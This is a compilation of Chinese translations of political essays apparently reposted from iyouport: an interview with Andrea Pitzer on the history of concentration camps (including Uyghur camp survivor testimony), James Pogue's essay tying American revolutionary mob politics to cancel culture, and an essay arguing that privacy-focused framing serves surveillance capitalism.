Andrea Pitzer：从1920年代初开始，纳粹对犹太人的想法就是让他们离开这个国家。他们希望他们离开德国。

他们使用的是法律制度，不是集中营的法外制度，而是针对犹太人的实际法律制度。因此犹太人被剥夺了国籍。他们被禁止拥有一大堆电器。他们被禁止进入某些公园。

他们被禁止当医生。他们被禁止使用公立医院 ……纳粹只是一个接一个地接一个地制定法规，让犹太人几乎不可能在德国生活。

这种模式一直持续到1938年11月左右，到那时纳粹精心策划了名为水晶之夜 Kristallnacht 的恐怖活动。

犹太教堂被捣毁、商店被闯入。各种损坏都造成了。这是一次真正的企图利用恐吓而使他们离开德国。

几天之内就聚集了成千上万的犹太人，并将其安置在集中营中，确实使他们的队伍迅速膨胀。

但是，直到那时候被安置在集中营中的成千上万的犹太人后来几乎全部被释放。

- 《当我们不能彼此照应时，结果又将如何？》

主持人：但是随着时间的流逝，纳粹对犹太人的计划开始发生变化。

Andrea Pitzer：是的，然后发生了两件事，其中之一是，世界对水晶之夜的反应并没有足够明显。而且我认为那个时间开始纳粹开始意识到他们也许能够做其他事。

发生的另一件事是，1939 年德国入侵波兰后，超过两百万波兰犹太人陷入德国。开始了第二次世界大战。

战前德国只有1％或2％的犹太人，在纳粹掌权之前，但战后在该国某些地区，犹太人占很大比例。在占比 39 ~ 42% 之间的那个窗口时期，这个世界就开始看到关于 “最终解决方案” 的想法浮出水面。

主持人：众所周知的 “最终解决方案” 将诸如达豪集中营或奥斯维辛集中营之类的地方变成了带有射击小队和毒气室的彻头彻尾的死亡集中营。

反犹主义和纳粹法西斯主义时代发展的最终产物就是这样。但是随着时间的流逝，越来越多的暴力和死亡也是集中营的典型症状。

Andrea Pitzer：⚠这些营地开放的时间越长，施加在营地上的力量越邪恶，他们拥有的时间就越多，他们将营地转向其他目的的能力也就越强。当然，这就是我们特别在纳粹身上看到的。

主持人：这就是 Andrea Pitzer 警告我们必须尽快关闭这些营地的原因之一，以避免令它们变得根深蒂固且更加暴力。

二战后，世界承诺 “绝不会再有种族灭绝的发生、绝不会再使用集中营，绝不会再发生大屠杀了”。

但是 ……

我们开始了 “*Making Contact*” 的这一章，谈论的是现代集中营，例如缅甸的罗兴亚人集中营。所以发生了什么？

Andrea Pitzer：世界在1945年重新设置，并从半个世纪前的殖民地开始回归。这部分原因是您正确地掌握了冷战二元论，那就是俄罗斯与美国。

因此，⚠你要么是共产主义者，要么是反共产主义者。如果你是共产主义者，那么你就有以古拉格为模型的这些大型集中营系统；如果你是反共产主义者，那么你将从50年前的殖民地集中营中发展出反殖民集中营。

主持人：这是第四阶段，也是我们今天经历的阶段。这些新的集中营令人担忧：

Andrea Pitzer：旧式集中营的延续是我们现在从隔离游击队、通过围捕一群人来隔离恐怖分子开始的。我认为值得了解。

例如，⚠关塔那摩（Guantanamo）起初是大规模拘留寻求庇护者的场所，而这种地方 —— 政府被赋予权力将人们拘禁在这里 —— 正是它在9/11之后成为酷刑场所的基础。

因此，我们在那些针对维吾尔族人口的集中营中也再次体验到了这种以反恐为借口实施集中营的观念。

⚠中国人已经意识到，如果你说这些人是 “恐怖分子” 或声称要面对恐袭威胁，那么全世界也很少有国家会对集中营说不。

结果就是，超过一百万维族穆斯林和其他少数民族人口被关押在这样的地方。因此，我认为，这种恐怖威胁仍然是一种可以让当权者构建野蛮残酷的折磨的集中营、并获得世界许可的方式。

- 《警惕微妙的劝导术：恐惧诉求—— 埋下情绪 操控思想》

（中国维族集中营幸存者）**Mihrigul Tursun**：我被带到一个没有窗户的地下牢房。四面墙上都有摄像头，因此官员们可以看到房间的每个角落。我被关押的其中一个牢房里大约有60个人。

到了晚上，要有15位妇女站着，才能让我们其余的人侧身睡觉，然后我们每两个小时轮换一次。有些人一年没有洗过澡。

主持人：您正在聆听的是 Mihrigul Tursun 的证词，她在2018年11月国会面前谈到了她在维吾尔族 “再教育营” 中的经历。她的证词是通过口译员朗读的。

Mihrigul Tursun：我第二次被拘留时，也曾在老虎凳上遭受过酷刑。我被带到一个特别的房间，被放在高脚椅上。他们将我的手臂和腿固定到位，并按下按钮以收紧。卫兵把头盔戴在我被剃光的头上。每次触电时，我的全身都会剧烈晃动，我会感觉到静脉的疼痛。

主持人：但是 Andrea Pritzer 并不感到绝望。她的希望使我感到惊讶，我问她 —— 重温所有这段历史并重复看一遍是什么感觉 —— 针对持不同政见者和少数族裔的相同模式、相同的仇恨、相同的酷刑和虐待？

她回答说，事实上，⚠这些宏伟的设计 —— 大规模监禁、包围整个社区、强迫失踪 —— 它们需要我们的同谋。（如上所述，同谋指的是，人们接受了这种遭遇，没有反抗）

Andrea Pitzer：⚠□政府必须 *积极培训* 人们接受这一点。因此，必须训练警卫人员、并使其坚定服从、让他们愿意对人们做这种事。

⚠而且还必须训练被关押者 “愿意” 以这种方式被关押。

坏消息是，人们真的很容易受到那种宣传的影响和折磨，这种宣传使政府和政党促使我们相信这样做是必要的。

- 《摆脱操纵和宣传：28个长期技巧》
- 《“你是在有史以来最重要的战斗中战斗”》

因此，我认为，这真的是我们必须集中精力的地方 —— 如果我们想阻止这种情况发生 —— 必须从阻止政治宣传方面努力，这些宣传使人们以为其他人是动物、或者是肮脏的，接受他们“应该遭受处罚”的结论。

⚠我从支持今天一些集中营设置的人们那里听到了他们的想法。例如，当我在缅甸的时候，我确切地听到了这些想法。这些想法正是我们所有人从美国总统嘴里所听到的说法，但是，这种说法已经非常古老，这正是那些集中营赖以生存的理论根基。

我认为集中营真的很难消除，任何政治体制都很容易激发出集中营的想法。所以仅仅因为你是一个民主国家并不意味着你就不会这样做。

但是，如果你是一个民主国家，那么理论上你应该有更多的手段可以撤销它。

最后

「图」

主持人：您正在听的是《漫漫长夜：全球集中营历史》的作者 Andrea Pitzer 的访谈。

在今天结束节目之前，我们想要感谢有机会使用 Abdul Mozid 的歌曲，这首歌是在孟加拉国的罗兴亚难民营中录制的。

我们很乐意收到您的来信。您对边境拘留营有何看法，我们如何才能关闭当下位于全世界的集中营？〇

Today’s Concentration Camps Go by Many Names, But They’re Still Open

原文

从暴民政治到取消文化 - iyouport

社会反抗和思考

【 2021年4月15日存档】这是一个非常不同的视角，从美国历史中寻找原因的思考。关于“爱国者”，你一定从年初的国会暴动中熟悉到了这个概念

【注：这篇文章基于2016年也就是特朗普上任的同期出版的一本影响力很大的历史书，Alan Taylor “American Revolutions: A Continental History, 1750-1804”；文章来自 thebaffler】

1769年10月，一个保守派的波士顿印刷商抨击了一群主要的活动家。

当时的殖民地正处于一片混乱之中。暴徒和掠夺者，常常是偏僻地区的定居者，对绅士派头的土地投机者的权力感到愤怒，他们的人数和动机不断增长，并成为美国政治生活的固定资产。沿海城市出现了新的移民潮，这些人在法国-印度安人战争后被毁容或流离失所，战后的贸易萧条带来了许多白人殖民者有史以来第一个经济困难时期。

“暴民政治” 作为基本的政治条件在一些城市开始盛行，富人的目的是遏制民众的能量，或者将其引导到富人自己的目的上—— 这种紧张关系主导了宪法的制定。

【注：众愚政治，又称暴民政治，是指由暴民或群众主导的政治体制。 】

到1760年代末，波士顿的大部分商人阶级在暴民中发现了一种便利的政治工具：他们花了5年的时间重塑税法，以打击无礼殖民者的 “自由”。一种过热的言辞胜出了；很快，支持抵制征税商品就成了一种爱国责任。那些反对抵制活动的人会面临着被社会排斥、经济毁灭、攻击和被煽动的人群的羞辱。

波士顿纪事报的印刷商 John Mein 认为，那些鞭策暴民的乡绅们是虚伪的暴利者，他开始证明这一点。他公布了波士顿商圈主要成员所拥

有的船只的货单，表明一些大张旗鼓地号召民众支持抵制和对英国税收表示愤怒的人，本身就违反了抵制的规定，他们用自己的低价走私商品让遵守抵制规定的小商人破产。

但 Mein 误解了当时波士顿的社会氛围。他认为，揭露像 John Hancock 这样的人的虚伪，就会使那些发动暴动和写煽动性小册子的人受到惩罚。

爱国者报刊及其支持的公众并不关心。他们攻击 Mein，基本上是说，谈论富有的爱国者违反抵制活动，比肆意违反抵制活动，更像是对殖民地团结的攻击。很快，千人的队伍来找 Mein，Mein 被人用铁锹打得头破血流，最后伪装成英国士兵潜逃到了英国。Hancock 很快关闭了 Mein 那份麻烦的报纸。

革命前美国的爱国者们不相信言论自由，也不相信理性的言论。

250年后，一群大多是年长的自由派知识分子和年轻的保守派人士在《哈珀周刊》上发表公开信，点燃了我们周期性的互联网野火，试图捍卫文化生活，抵御导致我们进入美国革命的同样力量。

他们写道，“吹毛求疵” 在我们的生活中是一种蔓延的力量 —— “对反对意见的不容忍、公开羞辱和排斥的流行，以及将复杂的政策问题消解在盲目的道德确定性中的倾向。”

这封信的作者煞费苦心地避免使用 “取消文化” 这个流行词，尽管他们写的就是这个意思，可能是因为这种吹毛求疵已经变得如此普遍，甚至用这个流行词来抨击它已经让人觉得毫无意义和过时了。

就右翼而言，这股力量的首选术语应该是 “暴民政治”，保守派政治新闻 Daily Caller 的共同创始人 Tucker Carlson 最近几乎每晚都要使用这种陈腐的表达方式，因为他把我们在网上对活人的仪式性谴责和对曾经神圣的死者纪念碑的破坏描绘成 “卑鄙的非美国人”。但是，暴民政治和取消文化就是这个国家革命的原因，也就是说，它们造就了我们现在仍然生活在其中的美国。

美国人一直很难正视发生了一场革命的事实。右翼一直难以承认，美国以及即将形成的民族和社会意识，是在一个社会和政治秩序被动荡和血腥地推翻的过程中诞生的；左翼一直难以相信，这种秩序的被推翻值得算作一场适当的革命，因为它看起来一点也不像左翼后来所庆祝或渴望的那种革命：它没有明显的阶级基础，没有改变国家的基本经济结构，它的领导人对把自由和人类平等的逻辑推向其应有的结论

从来没有多大兴趣。

“为什么我们听到的最响亮的对自由的呼唤是来自黑人司机？” 英国文人 Samuel Johnson 曾经有过这么一个著名的疑问，早在这片大陆上有人认真希望与英国王室决裂之前，他就提出了这个疑问。甚至在大多数人完全理解革命开始之前，观察家们就已经指出了孕育革命的言辞中的两面性。

保守派在革命前的那一刻吓得不敢说话。爱国者们开始拆看私人信件，导致一个颤抖的商人警告朋友要注意他的语言，因为 “人民的脾气就是这样的，以至于最无辜的表达都会被误解”，正如他所说的那样，就是 “那些自称美国自由主张者的人”。

暴民政治，或者说取消文化，就是推动美国形成的力量之一。但它并没有因为报纸上所声称的自由，而诞生出一个平等主义的甚至是可宣称为民主的美国 —— 这很难让人感到惊讶，因为经济利益是产生革命热情的原因；到了乔治·华盛顿这个奴隶主驾着一辆装有抛光银饰的战车担任总统的时候，新的革命贵族作为 “解放者和人民的拥护者” 的说法几乎不可能受到挑战。联邦党人正是用这种语言，很快就开始压制民众的能量，重新确立精英的统治。

这是精英们在美国历史上多次使用的伎俩。而他们现在依然在使用这一招。

燃烧的自由之树

「图」

去年6月，亚马逊影业在东好莱坞日落大道上贴出了一块广告牌，上面有一个黑人妇女高举着拳头，标题是 “放大黑人声音”。这个广告牌让我很不爽，也许是因为它太随处可见了，尤其是因为我认识的一位老太太在去年春天以 “亚马逊对**BLM**的所有支持” 为由，打破了她自己对亚马逊十年的抵制。

当然，每个人都能举出几个最近出现的巨头企业虚伪装逼的例子——大力水手炸鸡在推特上发了个口号 “没有BLM的 Popeyes 什么都不是”，或者大通银行董事长 Jamie Dimon 在打开的银行金库前下跪，以表示大通银行对美国平等和正义的支持 ……

但是，任何有政治信仰的人都可以承认，看着这么多公司，从Uber到 Exxon 再到 Rag & Bone，三番五次地与一场抗议运动结盟，而这些

抗议运动原本就是为了抵制这些公司赖以生存的体制的，或者压根跟他们无关。

就保守派而言，他们现在似乎对企业机构如此迅速地接受抢劫和焚烧商店可以是一种合法的抗议形式—— 或者至少对他们如何迅速地视而不见—— 感到真正的震惊。与此同时，自由派的评论家们对去年春天的检疫到来后蔓延的武装反封锁的抗议活动表现出了离奇的恐惧，也对保守派政客和媒体拥抱这些抗议活动的方式感到惊恐。

但这些都是美国政治中暴动倾向的例子，这种力量只有在无法与权贵们自己的利益保持一致时，权贵们才会表现出惊讶。

然而，在18世纪，暴乱是英国社会公认的、或至少是容忍的一部分。英国人为自己拥有一个宪政秩序而自豪，这个秩序所提供的 “自由” 远远超过欧洲大陆任何一个愚昧的或遍地牧师的社会，他们理所当然地认为这种自由部分是靠普通人的暴力威胁赢得的。

“虽然无辜的人有时会在民众的骚乱中受到伤害” 一位观察家在1768年写道，“人民的普遍怨恨主要是根据正义来引导的，最大的违法者最能感受到这一点”。不成文的英国宪法，是国王、议会和平民之间的三方协议，使得人们有可能相信，当一个公平的观点被提出来，主要是当权者没有受到不适当的威胁时，“法外” 的武装政治事实上可以是合法的。

这在革命前的美国尤其如此，因为当时缺乏镇压暴乱所需的常备军事力量。正如殖民地总督 Thomas Hutchinson 在1768年所写道的：“暴民，至少是某种暴民，是符合宪法的”。这产生了一种效果，在共和国成立之初和现在一样明显：在一个桀骜不驯和不满的国家里，暴民政治是不可避免的。

这就是说，在适当的情况下，人民可以有一点暴动，只要别威胁到强权者的利益。

美国20年暴民政治的最佳指标是《印花税法》，该法对印刷品征收税款，更重要的是为国会向英国的美洲殖民地征税的权利开创了先例。该法于1765年通过，于当年11月1日生效。 8月14日，人们发现本应担任马萨诸塞州邮票发行员的 Andrew Oliver 的肖像被挂在一棵后来被称为波士顿 “自由树” 的榆树上。当天晚上，一群人焚烧了这张肖像，袭击了 Oliver 的家，并拆毁了他的办公室 —— 这是印花税暴动的第一次短促爆发。

主流媒体对他们进行了庆祝。“我们在波士顿的弟兄们比以往任何时候都更爱美洲所有殖民地，”《纽约公报》上的一封信宣称，希望这个“崇高的榜样 …… 将被所有的殖民地一致地效仿”。的确效仿了。

这些都不是民间自发的起义。**8月14日的“暴动”是由“Loyal Nine”**策划的，他们是一个由富裕的商人组成的俱乐部，他们很快就变成了波士顿自由之子的分会。

【注：自由之子 (Sons of Liberty) 美国独立革命期间反抗英国统治而建立的秘密组织，曾发动波士顿倾茶事件。】

英国官员谴责那些“受人尊敬的”看起来“衣着得体”的人，并抱怨说，暴徒并不像一群居无定所的庸人—— 这将包括失业者、无产阶级和底层黑人，构成了这个城市真正的无产者。英国官员同时也试图让暴民们相信他们已经被听到了。“你们没有必要再使用暴力手段了”，Hutchinson 写道，“民意通道现在已经通向了最好的国王的耳朵和心灵：他会听到你们的声音。”“甚至英国人也采取了善意的看法：抗议活动“得到了高度赞同”，一个英国人写道，“除了暴力行为之外 —— 破坏和掠夺私人财产的行为”。

但是，仍在继续扩张的自由之子协会发现，将激情保持在中高位、同时又能保持酝酿暴力的威胁，这对他们的商业利益是有利的。到1765年11月1日，富人们牢牢地控制了叛乱。

“两位绅士 … … 镇上最富有的商人”召集了北区和南区的暴徒领袖，并雇佣了原暴徒 Ebeneezer Mackintosh，“带着他的队伍来维持和平，防止胡闹”，正如总督 Francis Bernard 在 Pauline Maier 的经典研究报告《从抵抗到革命》中描述的那样。Mackintosh “身着蓝金制服，戴着金边帽子，拿着藤条手杖主持会议”，维持着两千人的人群，而“据说是容易闹事的黑人”则被排除在外。

Mackintosh 在黔驴技穷之后他自己也被他的乡绅朋友们抛在了一边，关进了债务人的监狱。很快，这些贵族们发现了一种比暴动更安全的工具，但事实证明，这种工具在引导传统政治无法做到的民众愤怒方面同样有效，即：社会排斥和公开羞辱。

10月25日，新泽西州埃塞克斯郡的自由之子宣称，任何坚持印花税法案的人都应该被逐出礼仪社会，正派的人应该“不与任何这样的人交流，也不在任何场合与他们说话，除非是指出他们的卑鄙。”这不是一个孤立的观点。一位写文章给宾夕法尼亚州报纸的作家用当时典型的语言建议，一个缴纳印花税的人应该“被烙上永远的恶名和责难”，

并被赶出去，“让他孤独地呆在这个世界上吧—— 让他想要与某个黑暗的令人厌恶的洞穴中的野兽交往。”

这种对羞辱和排斥的动员在动员者眼里并不是一种社会疾苦 —— 他们认为它是经过深思熟虑的健全的政治，是一种更可控的、拟态化的暴力，它安抚了暴徒，同时遏制了他们可能烧毁富商住宅和抢劫仓库的力量。

Maier 写道，“自由之子的中心要务就是赢得群众基础，把广大民众转化为自由之子。” 这实际上意味着，虽然自由之子组织在大西洋沿岸如雨后春笋般涌现，他们所体现的爱国热情能够显得足够激进，但却不至于超出激发它的富商的控制范围。

同样，这种做法也非常有效，“人民的怨恨是如此普遍”，John Adams 高兴地写道，“每一个敢于为印花税说好话的人 …… 不管他的律师有多伟大、无论他的能力和品德曾经多么强大，无论他的财富、社会关系和影响力如何，都要让他陷入普遍的蔑视和耻辱之中”。

猪粪的味道

「图」

从《印花税法》通过十几年后才真正爆发出火爆的局面。回过头来看，这条道路看似无可奈何，但也不必如此。英国官员和许多保守派人士发现自己突然成了困惑和受挫的少数派的一部分，他们努力安抚甚至理解暴民的愤怒。

1772年，北卡罗来纳州的皇家总督采取行动，将后方农民从腐败的土地投机者的枷锁中解放出来，比如乔治·华盛顿，他们利用自己的关系以优惠的价格买下土地，并以早期的佃农农奴制的形式出租。但是，这种向穷人和无地者利益的转变从来没有完全站稳脚跟 —— 部分原因是保守派对穷人和无地者并没有多少真正的关心，另一个原因是穷人和无地者在许多地方已经坚定地站在了爱国者阵营中。被剥夺权利的人已经不再相信旧秩序有能力听取他们的抗议，而爱国者精英们则充分利用了这一点。

那并不是一个真诚呼吁或理性讨论的时代。个人诽谤和巴洛克式的夸张几乎成了政治言论的修辞标准。1770年代初，在废除《印花税法》和随后的《汤森法案》导致抵制和走私活动后，骚乱和混乱一度平息，这些活动使 **John Hancock** 等人的口袋里装满了钱。但是，一个新的殖民地次精英，一个完整的阶级诞生了，就像 John Adams 一

样，“在他的圆肩上有一个巨大的筹码”，正如 Alan Taylor 在他的《美国革命》中所说的那样：这个权力结构并没有得到安抚。他们参与了对殖民体系控制权的争夺，他们希望得到一种长期得不到的尊重。于是，殖民地成了富人之间的争夺区，暴民充当了武器，至少是工具”。

Taylor 写道：“爱国者并没有谴责所有的富人都是掠夺性的阶级，而是鼓励劳动人民把他们的敌意更狭隘地集中在少数几个乡绅身上，因为他们的帝国关系似乎特别有威胁性。”

《印花税法》于1766年被废除，但它所开创的政治已经制度化。殖民地大陆联盟成立了，它的领导人用来实施抵制和政治顺从的策略现在看起来很像毛主义者。

早在战争开始之前，“暴徒们就挑出被怀疑是效忠派的人，对他们进行严格的审讯，并敦促他们签署认罪悔过书”，Gordon Wood 写道。喝英国茶或发表反对大陆联盟言论的美国人被迫在精心设计的忏悔仪式上签署 “忠诚” 誓言。一位观察家抱怨说，他们的方法 “真是令人作呕”，让反对大陆联盟的人 “真正面临生命危险”。“他们的财产实际上是不安全的，他们的标志、门和窗户在夜间被涂满了各种污秽物，其中一人尤其受到同样的待遇”。

【注：效忠派是美国独立战争期间坚持效忠于英国国王的北美殖民地居民，与支持美国革命的 “爱国者” 相对。革命前夕，效忠派约占当时北美殖民地人口的三分之一，革命爆发后大部分逃往英属加拿大。】

到了1770年代中期，传统的贵族秩序没有被颠覆，但已经被割裂。那些避免了爱国者死忠的愤怒的富人，得到了那个时代乡绅们通常的尊重，近乎崇拜。但那些越界的人却受到了社会上近乎滑稽的极端嘲讽。一位康涅狄格州的医生 **Abner Bebe** 被 “剥光了衣服，并向他泼洒滚烫的沥青”，一位朋友写道，“他的皮肤被烫到起泡。然后，他被带到一个猪圈里，他们把猪粪扔到他的脸上，并把一些猪粪塞进他的喉咙里 **……** 他的房子被袭击了，他的窗户被打破了。”

Taylor 写道：“委员们挨家挨户地要求每家的男女都签名加入大陆联盟，否则后果自负。邀请每个人都去监视自己的邻居，委员会查处、扣押并烧毁了所有藏匿的茶叶和保守的书籍，而一群人聚集在县法院，向罪犯叫嚣。认罪后，嫌疑人不得不在节日的篝火中点燃被谴责的物品，以凝聚公众对新委员会的支持，并恐吓摇摆不定的人。”

爱国者们称那些要求言论自由的人是自由的叛徒。费城委员会宣布，“任何人都无权通过写作或演讲的方式帮助和协助我们的敌人”。一位马里兰州的保守派人士谨慎地问一位朋友：“在这个自由的国度里，一个人的财产却任凭那些领导暴民的人摆布！这事你怎么看？”

虽然，要说明的是，现在不是谁都能领导暴民的。“自由”作为一个概念，已经从一个温和开明的奴隶制帝国的臣民所共有的朦胧希冀，变成了一种恰好与投机商人的商业利益整齐划一的具体力量，也就是说，它与言论自由、与当时被奴役的百分之二十的美国人的解放、与殖民者摆脱强大的种植园主的权利完全没有关系，而这些种植园主的土地破坏性耕作方式和腐败的投机行为迫使美国人无地可耕。英国人对自由的无定形理想正在被赋予一个具体的美国式定义，一个将自由与经济权利等同起来的定义。

这种新的、以暴力方式强制推行的共识所产生的影响，对数不清的数百万人的生活和新共和国的政治前途来说，几乎是难以理解的灾难性后果：差不多一个世纪后，当南方有钱人发动战争，声称他们通过捍卫人类奴役制度为人身自由而战时，这种将政治自由等同于财产拥有的错误逻辑达到了荒谬。

在一个拥有土地是自由的终极表现的社会里，富有的土地拥有者已经夺取了阿巴拉契亚山脉以东的大部分良田，穷人和无地者不可避免地越过边界线，在西部进入几代人的种族灭绝战争。当时的想法是，必须从某人手中夺取土地，而殖民男爵们更希望从土著人手中夺取土地，而不是从富人手中夺取土地，以免扼杀新国家贪婪的经济和人口的增长。

这一时期的历史奇怪的是，在所有这些浅薄的言辞和被裹挟的暴力中，没有任何关于更广泛的平等主义潜力的讨论。这是有道理的，因为任何反对爱国先锋队的人都可能会发现自己被挂在自由树下的脚手架上。暴动已经形成，然后它被遏制。现在需要完成一场革命。

取消托利党

「图」

革命形成的速度之快超出了其作者的预期。在所有处于政治动荡边缘的社会中，有很大一部分人认为，这种叛乱太过激进，难以奏效。把事件的展开看作是一个不可避免的计划或过程的一部分，这是任何历史分析的基本错误，但在经过十年紧张的政治分裂和爱国者活动家们的疯狂夸张之后，很难看到这一切还能带来什么。

1765年，作者已经在用理性政治无法回答的语言描述印花税，宣称它将“造成整个贸易的停滞，阻碍各种工业的发展，并使我们卷入最赤裸裸的奴隶制”。“奴隶制”，这是爱国者激进主义者在十年中最常使用的一个警句，在这十年中，他们享受着对于世界上任何地方来说都是最高的自由。但白人殖民者贩卖的自怜的偏执狂并不符合任何现实世界的威胁，因此无法通过任何现实世界的妥协来缓解。1776年，爱国者绅士们终于忘记了他们几个月前才对英国国王表达的善意感情，这是很自然的事。“作为英国主权的象征，国王不得不成为大反派”，Alan Taylor 写道，“在一次关键的嬗变中，昔日受人爱戴的国王变成了一个被人鄙视的暴君”。

而“革命”则是描述这场战争在殖民地发动的适当词汇。保守派和效忠派长期以来一直以一种困惑和敏锐混合的眼光来观察新的爱国者共识—— 新崛起的一代爱国者乡绅，从小就读 Locke 和 Cato 的《信札》以及其他新的激进理论，他们想扫除英国旧的贵族秩序，代之以一个恰好由他们来领导的新秩序，一个他们在边疆和海关的利益能得到很好维护的秩序。他们不在乎他们扫除了什么价值观。

托利党负责把“社会置于分歧之中，父子相残”—— 在他们的“似是而非的一种崇高美德的表演”面前，没有留下“法律、没有友谊、没有联盟、没有血缘关系”。他们“的确是在试图摧毁旧社会的韧带”，Wood 写道，“并以一种新的方式将人们重新连接在一起。”

这些爱国者们颠覆了陈旧的社会等级制度，但是，没有进行平等主义革命，这就是问题的关键。后来的共和党领导人，如托马斯·杰斐逊，确实写了一些关于民主如何在严重的财富不平等的情况下不可能存在的激情，但他们只是在奴隶制的“问题”绞了一下自己的手。

像亚历山大·汉密尔顿这样的联邦党人，通过利用他们牢牢把控的新闻媒体，为一部不受欢迎的宪法赢得了批准，创造了一个 Taylor 所说的“有用的虚构”，即“我们人民”—— 而不是一套新贵族—— 是宪法的作者。

直到今天，许多美国人还是相信联邦党人看到我们的制衡制度是为了保护人民免受政府的权力滥用，而不是为了防止暴民政治。革命已经显露出来了 —— 社会和政治秩序被推翻了，那些对社会正派和理性辩论的价值观发出痛苦声音的人们被迫逃往哈利法克斯和伦敦，如果他们有幸在战争中幸存下来的话。

但是，暴民们被小心翼翼地控制着，我们漫长的国家故事 —— 在这个国家里，大众自由的死板语言几乎都是为了保护寡头和商人的利益

—— 已经开始认真地进行了。

“对辩论的限制，无论是由一个压迫性的政府还是一个不宽容的社会执行的，总是会伤害那些缺乏权力的人，并降低每个人的民主参与能力”，Harper 反对取消文化的公开信的签署者写道。”打败坏思想的方法是通过暴光、争论和说服，而不是试图压制或希望它们消失。”

这是很好的感想。但总的来说，这是对我们当下的一种根本性误解 —— 革命，无论是和平的还是其他的，都会创造自己的逻辑。它们不符合旧的社会价值，它们重塑社会价值。由最初的暴民政治行为所开创的流行神话已经过时了， 数百万美国人不再相信这是一个真正自由之地。

而现在，一群新的公司乡绅和贵族的小圈子正在盘旋，目的是为了从民众的反抗中获得利益，而这种反抗恰恰始于对平等的要求和对首先使这些权贵变得更富有的整个体制的挑战。如果我们要进行另一场革命，就应该小心观察谁在领导这场革命。○

“On the Rudeness of Mobs”，James Pogue is the author of *Chosen Country*. He has written for *Harper's*, *The New Yorker*, *The New York Times Magazine*, *Granta*, *The New Republic*, and *Vice*.

原文

以隐私为目的的斗争如何让你变成了监视的盟友 - iyouport

你应该了解的现实监视资本主义的世界社会反抗和思考

【2019年10月29日存档】贿赂永远意味着，行贿者付出的东西需要受贿者以数倍甚至数百倍的代价来回报。现在我们所有人都是受贿者；我们已经为“回报”掏空了自己的一切……

上个月的内容中我们声明过这个问题，关于为什么必需认识到我们所有人是1984的同谋，详见《6年，改变了什么？》。

但是下面这篇文章更深一步，它强调了以隐私为“终极目标”的斗争为什么注定失败。最重要的是，如何扭转这一局面。

这篇文章令我们所有这些提供隐私保护技术和知识的人感到无比惭愧 —— 我们只是在被动斗争，只是在努力保护自己和盟友的安全，只是在等待他人的革命让我们摆脱灾难；我们没有真正站起来反击 —— 我们还在敌人的地盘上扑腾。

这样是不会赢的。即便高超的防卫技术令队友可以存活下来；但是不会赢。

要想赢，我们必须占据主场作战 —— 就如 Jathan Sadowski 所强调的：成为战斗者的增援。

一个典型的案例提醒人们如何为特定的权利而战。

法官命令纽约的房东必须“向任何不想使用建筑物上安装的 Latch 智能锁的租户提供实物钥匙”。

这项法律裁决是在曼哈顿一栋公寓楼的居民们联合起来并成功起诉房东之后做出的 —— 因为他们的房东用智能锁更换了大堂的实物锁。

Latch 这类使用智能手机打开的类似无钥匙锁已经是美国各地的公寓

楼越来越常见的特征。

在反对这种强制升级的过程中，租户列出了为什么智能锁实际上没有提供他们的房东声称的“增强的便利性和安全性”的无数理由。

租户提出的问题不仅包括一些老年居民根本没有智能手机，而且，更重要的是，围绕房东监控和骚扰租户的严重问题。

“我说我不想被跟踪，房东笑了”，一名72岁的大楼居民告诉 CNET。

我们都知道智能技术 —— 数据驱动、互联网连接、自动化 —— 充斥着隐私问题。有无数的例子，名单每天都在增长。

智能锁带来了人权关注者最担心的问题。

这种恐惧已经变为现实 —— 包括收集个人数据，然后用于（秘密）创建关于我们的身份、偏好、行为和惯例的详细资料。

除了推动建立在“个性化”目标基础上的监视资本主义经济体制，并且，随着这种程度的跟踪加深，几乎使我们完全丧失了免受政府、公司和老板的严苛监控的能力。

我们对所谓的智能玩意的怀疑往往始于隐私，这并不奇怪。

然而，问题在于它通常也以隐私结束。⚠这种框架限制了我们对正在发生的事情和利害攸关的事物的理解。

这是错误的斗争模式。

相反，当我们谈论技术时，我们应该首先考虑权力机制。

有很多理由可以解释为什么科技公司很乐意讨论隐私问题，他们资助以隐私为主题的奢侈会议、向倡导者提出一些观点、甚至创建像“隐私和公民自由工程”这样的新职业。

这是因为：⚠这种以隐私为目的框架几乎没有什么可以挑战实际的政治经济体系的东西 —— 基于提取数据和扩大控制的监视资本主义经济体系 —— 就是这些寡头建立的它，并且一直在从中受益。

社会学家 Sami Coll 认为：隐私的概念现在已经变得更像是“监视的盟友”，而不是它的解毒剂。

因为如今隐私已经由个人主义思想和个人解决方案来定义了，这些思想和解决方案的核心是负责实施良好网络卫生、负责任的数字消费者。

但是，⚠一个必须保护自己的勇敢的人、和一堆随时随地想要更深刻地窥探和挖掘所有人内心的强大机构之间的斗争，其输赢几乎没有多少悬念。

当我们接受一个对监视工业综合体友好—或者甚至已经被其吸收和挪用的框架时，我们最终只能按照*他们的*规则在*他们的*地盘上作战。

我们可能会赢得一些小冲突，但是，最终我们将输掉整个斗争。

因此，当租金稳定的公寓中的租户们试图阻止房东安装面部识别门锁时，他们不仅仅是“引发了关于隐私和监视的辩论”。

不仅仅是人们想要躲避监视想要获得一分安全和宁静。

正如房东所描述的那样，这场战斗也不是隐私与安全之间的选择。

这绝对不是一种下意识的恐慌反应，正如反监管亲企业智库梅卡图斯中心所说的那样。

他们不仅仅是技术反叛者。他们正在数字资本主义的前线作战 —— 他们需要增援。

最终，这个问题与权力有关：谁有权力、他们如何运用权力、他们获得了什么？反之亦然：谁被排除在外、谁被针对、被挤压？

智能锁和面部识别的例子非常重要，突出了真正的利害关系 —— 因为它是一个明确的案例：一个不那么强大的团体（租户）抵制一个更强大的团体（房东）企图武装自己的危险武器库。

租户甚至没有试图提升他们的地位 —— 他们只是试图不失势。

与我们意识到的相比，这些权力机制更为常见，对新技术的设计和使用产生了更大的影响。

⚠技术实现了权力，使其成为坚固耐用的形式。

最重要的不是技术本身，而是技术背后的人、价值观和组织，以及通

过技术引导其利益的方式。

技术不是中立的、也不是不可避免的、或完全可塑的。

隐藏在每项技术中的是一堆人类选择 —— 应该解决哪些问题、应该如何花费资源、应该进行权衡取舍、如何表达观点、应该使用何种技术以及其他许多可以解决的决策做 X，而不是Y或Z，才是关键。

今天包围我们的大部分智能技术都源于一种利润和权力体系，这种体系通过历史学家和评论家 **Lewis Mumford** 在**1970**年所确定的“超级技术贿赂”来使自己合法化。

贿赂永远意味着，行贿者付出的东西需要受贿者以数倍甚至数百倍的代价来回报。

这种贿赂的条件很简单：为了以最小的麻烦接受系统产生的东西，一些人被允许获得适度的便利和舒适的奢侈品，而许多其他人则受到更高程度的剥削、提取和排斥。

一小部分的好处建立在对绝大部分的伤害之上。

